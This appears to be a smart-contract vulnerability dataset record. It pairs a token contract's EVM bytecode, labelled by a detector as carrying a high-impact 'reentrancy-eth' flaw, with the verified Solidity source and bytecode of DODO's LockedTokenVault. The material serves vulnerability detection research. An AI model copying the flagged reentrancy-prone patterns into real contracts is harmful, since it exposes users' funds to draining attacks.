a0000000000000000000000000000000000000000000000000000000008152600401611a7e90613552565b60405180910390fd5b5b601754811115611acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac490613592565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b715750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba7906135f2565b60405180910390fd5b6008544311158015611c0f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c695750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cff576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dac5760185481611d6184610c63565b611d6b9190613828565b10611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da2906136b2565b60405180910390fd5b5b6000611db730610c63565b9050600060195482101590506017548210611dd25760175491505b808015611dec5750601660159054906101000a900460ff16155b8015611e465750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5c575060168054906101000a900460ff165b8015611eb25750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f085750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3057611f1682612401565b60004790506000811115611f2e57611f2d47612298565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fda5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209b5760009050612222565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121465750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222157600b54600d81905550600c54600e819055505b5b61222e848484846126fb565b50505050565b600083831115829061227c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122739190613510565b60405180910390fd5b506000838561228b9190613909565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e860028461272890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612313573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236460028461272890919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238f573d6000803e3d6000fd5b5050565b60006006548211156123da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d190613572565b60405180910390fd5b60006123e4612772565b90506123f9818461272890919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248d5781602001602082028036833780820191505090505b50905030816000815181106124cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256d57600080fd5b505afa158015612581573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a59190612f7f565b816001815181106125df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611695565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126aa95949392919061370d565b600060405180830381600087803b1580156126c457600080fd5b505af11580156126d8573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127095761270861279d565b5b6127148484846127e0565b80612722576127216129ab565b5b50505050565b600061276a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129bf565b905092915050565b600080600061277f612a22565b91509150612796818361272890919063ffffffff16565b9250505090565b6000600d541480156127b157506000600e54145b156127bb576127de565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f287612a81565b95509550955095509550955061285086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293181612b91565b61293b8483612c4e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299891906136f2565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fd9190613510565b60405180910390fd5b5060008385612a15919061387e565b9050809150509392505050565b600080600060065490506000678ac7230489e800009050612a56678ac7230489e8000060065461272890919063ffffffff16565b821015612a7457600654678ac7230489e80000935093505050612a7d565b81819350935050505b9091565b6000806000806000806000806000612a9e8a600d54600e54612c88565b9250925092506000612aae612772565b90506000806000612ac18e878787612d1e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612234565b905092915050565b6000808284612b429190613828565b905083811015612b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7e90613612565b60405180910390fd5b8091505092915050565b6000612b9b612772565b90506000612bb28284612da790919063ffffffff16565b9050612c0681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6382600654612ae990919063ffffffff16565b600681905550612c7e81600754612b3390919063ffffffff16565b6007819055505050565b600080600080612cb46064612ca6888a612da790919063ffffffff16565b61272890919063ffffffff16565b90506000612cde6064612cd0888b612da790919063ffffffff16565b61272890919063ffffffff16565b90506000612d0782612cf9858c612ae990919063ffffffff16565b612ae990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d378589612da790919063ffffffff16565b90506000612d4e8689612da790919063ffffffff16565b90506000612d658789612da790919063ffffffff16565b90506000612d8e82612d808587612ae990919063ffffffff16565b612ae990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612dba5760009050612e1c565b60008284612dc891906138af565b9050828482612dd7919061387e565b14612e17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0e90613632565b60405180910390fd5b809150505b92915050565b6000612e35612e30846137a7565b613782565b90508083825260208201905082856020860282011115612e5457600080fd5b60005b85811015612e845781612e6a8882612e8e565b845260208401935060208301925050600181019050612e57565b5050509392505050565b600081359050612e9d81613ef3565b92915050565b600081519050612eb281613ef3565b92915050565b60008083601f840112612eca57600080fd5b8235905067ffffffffffffffff811115612ee357600080fd5b602083019150836020820283011115612efb57600080fd5b9250929050565b600082601f830112612f1357600080fd5b8135612f23848260208601612e22565b91505092915050565b600081359050612f3b81613f0a565b92915050565b600081359050612f5081613f21565b92915050565b600060208284031215612f6857600080fd5b6000612f7684828501612e8e565b91505092915050565b600060208284031215612f9157600080fd5b6000612f9f84828501612ea3565b91505092915050565b60008060408385031215612fbb57600080fd5b6000612fc985828601612e8e565b9250506020612fda85828601612e8e565b9150509250929050565b600080600060608486031215612ff957600080fd5b600061300786828701612e8e565b935050602061301886828701612e8e565b925050604061302986828701612f41565b9150509250925092565b6000806040838503121561304657600080fd5b600061305485828601612e8e565b925050602061306585828601612f41565b9150509250929050565b60008060006040848603121561308457600080fd5b600084013567ffffffffffffffff81111561309e57600080fd5b6130aa86828701612eb8565b935093505060206130bd86828701612f2c565b9150509250925092565b6000602082840312156130d957600080fd5b600082013567ffffffffffffffff8111156130f357600080fd5b6130ff84828501612f02565b91505092915050565b60006020828403121561311a57600080fd5b600061312884828501612f2c565b91505092915050565b60006020828403121561314357600080fd5b600061315184828501612f41565b91505092915050565b6000806000806080858703121561317057600080fd5b600061317e87828801612f41565b945050602061318f87828801612f41565b93505060406131a087828801612f41565b92505060606131b187828801612f41565b91505092959194509250565b60006131c983836131d5565b60208301905092915050565b6131de8161393d565b82525050565b6131ed8161393d565b82525050565b60006131fe826137e3565b6132088185613806565b9350613213836137d3565b8060005b8381101561324457815161322b88826131bd565b9750613236836137f9565b925050600181019050613217565b5085935050505092915050565b61325a8161394f565b82525050565b61326981613992565b82525050565b613278816139b6565b82525050565b6000613289826137ee565b6132938185613817565b93506132a38185602086016139c8565b6132ac81613b02565b840191505092915050565b60006132c4602383613817565b91506132cf82613b13565b604082019050919050565b60006132e7603f83613817565b91506132f282613b62565b604082019050919050565b600061330a602a83613817565b915061331582613bb1565b604082019050919050565b600061332d601c83613817565b915061333882613c00565b602082019050919050565b6000613350602683613817565b915061335b82613c29565b604082019050919050565b6000613373602283613817565b915061337e82613c78565b604082019050919050565b6000613396602383613817565b91506133a182613cc7565b604082019050919050565b60006133b9601b83613817565b91506133c482613d16565b602082019050919050565b60006133dc602183613817565b91506133e782613d3f565b604082019050919050565b60006133ff602083613817565b915061340a82613d8e565b602082019050919050565b6000613422602983613817565b915061342d82613db7565b604082019050919050565b6000613445602583613817565b915061345082613e06565b604082019050919050565b6000613468602383613817565b915061347382613e55565b604082019050919050565b600061348b602483613817565b915061349682613ea4565b604082019050919050565b6134aa8161397b565b82525050565b6134b981613985565b82525050565b60006020820190506134d460008301846131e4565b92915050565b60006020820190506134ef6000830184613251565b92915050565b600060208201905061350a6000830184613260565b92915050565b6000602082019050818103600083015261352a818461327e565b905092915050565b6000602082019050818103600083015261354b816132b7565b9050919050565b6000602082019050818103600083015261356b816132da565b9050919050565b6000602082019050818103600083015261358b816132fd565b9050919050565b600060208201905081810360008301526135ab81613320565b9050919050565b600060208201905081810360008301526135cb81613343565b9050919050565b600060208201905081810360008301526135eb81613366565b9050919050565b6000602082019050818103600083015261360b81613389565b9050919050565b6000602082019050818103600083015261362b816133ac565b9050919050565b6000602082019050818103600083015261364b816133cf565b9050919050565b6000602082019050818103600083015261366b816133f2565b9050919050565b6000602082019050818103600083015261368b81613415565b9050919050565b600060208201905081810360008301526136ab81613438565b9050919050565b600060208201905081810360008301526136cb8161345b565b9050919050565b600060208201905081810360008301526136eb8161347e565b9050919050565b600060208201905061370760008301846134a1565b92915050565b600060a08201905061372260008301886134a1565b61372f602083018761326f565b818103604083015261374181866131f3565b905061375060608301856131e4565b61375d60808301846134a1565b9695505050505050565b600060208201905061377c60008301846134b0565b92915050565b600061378c61379d565b905061379882826139fb565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c2576137c1613ad3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138338261397b565b915061383e8361397b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387357613872613a75565b5b828201905092915050565b60006138898261397b565b91506138948361397b565b9250826138a4576138a3613aa4565b5b828204905092915050565b60006138ba8261397b565b91506138c58361397b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138fe576138fd613a75565b5b828202905092915050565b60006139148261397b565b915061391f8361397b565b92508282101561393257613931613a75565b5b828203905092915050565b60006139488261395b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061399d826139a4565b9050919050565b60006139af8261395b565b9050919050565b60006139c18261397b565b9050919050565b60005b838110156139e65780820151818401526020810190506139cb565b838111156139f5576000848401525b50505050565b613a0482613b02565b810181811067ffffffffffffffff82111715613a2357613a22613ad3565b5b80604052505050565b6000613a378261397b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6a57613a69613a75565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613efc8161393d565b8114613f0757600080fd5b50565b613f138161394f565b8114613f1e57600080fd5b50565b613f2a8161397b565b8114613f3557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a534a58f03964420699e762542ce3b50df4c2a6834683ff10149ad184187c2664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,711 |
0x050d08e8149f305dff7a9936f3908a1823177e9d
|
/**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/DecimalMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 constant ONE = 10**18;
function mul(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / ONE;
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(ONE);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).divCeil(d);
}
}
// File: contracts/lib/Ownable.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "INVALID_OWNER");
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeERC20.sol
/*
Copyright 2020 DODO ZOO.
This is a simplified version of OpenZepplin's SafeERC20 library
*/
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/token/LockedTokenVault.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title LockedTokenVault
* @author DODO Breeder
*
* @notice Lock Token and release it linearly
*/
contract LockedTokenVault is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address _TOKEN_;
mapping(address => uint256) internal originBalances;
mapping(address => uint256) internal claimedBalances;
uint256 public _UNDISTRIBUTED_AMOUNT_;
uint256 public _START_RELEASE_TIME_;
uint256 public _RELEASE_DURATION_;
uint256 public _CLIFF_RATE_;
bool public _DISTRIBUTE_FINISHED_;
// ============ Modifiers ============
event Claim(address indexed holder, uint256 origin, uint256 claimed, uint256 amount);
// ============ Modifiers ============
modifier beforeStartRelease() {
require(block.timestamp < _START_RELEASE_TIME_, "RELEASE START");
_;
}
modifier afterStartRelease() {
require(block.timestamp >= _START_RELEASE_TIME_, "RELEASE NOT START");
_;
}
modifier distributeNotFinished() {
require(!_DISTRIBUTE_FINISHED_, "DISTRIBUTE FINISHED");
_;
}
// ============ Init Functions ============
constructor(
address _token,
uint256 _startReleaseTime,
uint256 _releaseDuration,
uint256 _cliffRate
) public {
_TOKEN_ = _token;
_START_RELEASE_TIME_ = _startReleaseTime;
_RELEASE_DURATION_ = _releaseDuration;
_CLIFF_RATE_ = _cliffRate;
}
function deposit(uint256 amount) external onlyOwner {
_tokenTransferIn(_OWNER_, amount);
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(amount);
}
function withdraw(uint256 amount) external onlyOwner {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
_tokenTransferOut(_OWNER_, amount);
}
function finishDistribute() external onlyOwner {
_DISTRIBUTE_FINISHED_ = true;
}
// ============ For Owner ============
function grant(address[] calldata holderList, uint256[] calldata amountList)
external
onlyOwner
{
require(holderList.length == amountList.length, "batch grant length not match");
uint256 amount = 0;
for (uint256 i = 0; i < holderList.length; ++i) {
// for saving gas, no event for grant
originBalances[holderList[i]] = originBalances[holderList[i]].add(amountList[i]);
amount = amount.add(amountList[i]);
}
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
}
function recall(address holder) external onlyOwner distributeNotFinished {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(originBalances[holder]).sub(
claimedBalances[holder]
);
originBalances[holder] = 0;
claimedBalances[holder] = 0;
}
// ============ For Holder ============
function transferLockedToken(address to) external {
originBalances[to] = originBalances[to].add(originBalances[msg.sender]);
claimedBalances[to] = claimedBalances[to].add(claimedBalances[msg.sender]);
originBalances[msg.sender] = 0;
claimedBalances[msg.sender] = 0;
}
function claim() external {
uint256 claimableToken = getClaimableBalance(msg.sender);
_tokenTransferOut(msg.sender, claimableToken);
claimedBalances[msg.sender] = claimedBalances[msg.sender].add(claimableToken);
emit Claim(
msg.sender,
originBalances[msg.sender],
claimedBalances[msg.sender],
claimableToken
);
}
// ============ View ============
function isReleaseStart() external view returns (bool) {
return block.timestamp >= _START_RELEASE_TIME_;
}
function getOriginBalance(address holder) external view returns (uint256) {
return originBalances[holder];
}
function getClaimedBalance(address holder) external view returns (uint256) {
return claimedBalances[holder];
}
function getClaimableBalance(address holder) public view returns (uint256) {
uint256 remainingToken = getRemainingBalance(holder);
return originBalances[holder].sub(remainingToken).sub(claimedBalances[holder]);
}
function getRemainingBalance(address holder) public view returns (uint256) {
uint256 remainingRatio = getRemainingRatio(block.timestamp);
return DecimalMath.mul(originBalances[holder], remainingRatio);
}
function getRemainingRatio(uint256 timestamp) public view returns (uint256) {
if (timestamp < _START_RELEASE_TIME_) {
return DecimalMath.ONE;
}
uint256 timePast = timestamp.sub(_START_RELEASE_TIME_);
if (timePast < _RELEASE_DURATION_) {
uint256 remainingTime = _RELEASE_DURATION_.sub(timePast);
return DecimalMath.ONE.sub(_CLIFF_RATE_).mul(remainingTime).div(_RELEASE_DURATION_);
} else {
return 0;
}
}
// ============ Internal Helper ============
function _tokenTransferIn(address from, uint256 amount) internal {
IERC20(_TOKEN_).safeTransferFrom(from, address(this), amount);
}
function _tokenTransferOut(address to, uint256 amount) internal {
IERC20(_TOKEN_).safeTransfer(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101415760003560e01c80637db41eae116100b8578063cd32f0861161007c578063cd32f08614610250578063cf0e80fe14610258578063d18284961461026b578063e5612b3b1461027e578063ef90364214610286578063f2fde38b1461028e57610141565b80637db41eae146101fc5780638456db151461020f578063b6b55f2514610217578063c2ae16801461022a578063ca4305191461023d57610141565b80632a8b04801161010a5780632a8b0480146101a75780632e1a7d4d146101af5780634e71d92d146101c45780634e71e0c8146101cc5780636a4de5d1146101d4578063710475f6146101e757610141565b80621bf8f61461014657806306def8021461016f57806316048bc41461018257806324b3274114610197578063294dafc01461019f575b600080fd5b610159610154366004610c58565b6102a1565b6040516101669190610f9a565b60405180910390f35b61015961017d366004610c58565b6102dc565b61018a610330565b6040516101669190610d59565b61015961033f565b610159610345565b61015961034b565b6101c26101bd366004610d08565b610351565b005b6101c26103b3565b6101c2610449565b6101596101e2366004610d08565b6104d7565b6101ef61057f565b6040516101669190610daa565b6101c261020a366004610c58565b610588565b61018a61062c565b6101c2610225366004610d08565b61063b565b6101c2610238366004610c7f565b610694565b6101c261024b366004610c58565b6107d6565b6101ef61088a565b610159610266366004610c58565b610893565b610159610279366004610c58565b6108ae565b6101c26108c9565b610159610902565b6101c261029c366004610c58565b610908565b6000806102ad426104d7565b6001600160a01b0384166000908152600360205260409020549091506102d390826109b3565b9150505b919050565b6000806102e8836102a1565b6001600160a01b0384166000908152600460209081526040808320546003909252909120549192506102d391610324908463ffffffff6109df16565b9063ffffffff6109df16565b6000546001600160a01b031681565b60055481565b60085481565b60065481565b6000546001600160a01b031633146103845760405162461bcd60e51b815260040161037b90610eb0565b60405180910390fd5b600554610397908263ffffffff6109df16565b6005556000546103b0906001600160a01b031682610a07565b50565b60006103be336102dc565b90506103ca3382610a07565b336000908152600460205260409020546103ea908263ffffffff610a2816565b336000818152600460208181526040808420869055600382529283902054919052905191927f45c072aa05b9853b5a993de7a28bc332ee01404a628cec1a23ce0f659f842ef19261043e9291908690610fa3565b60405180910390a250565b6001546001600160a01b031633146104735760405162461bcd60e51b815260040161037b90610db5565b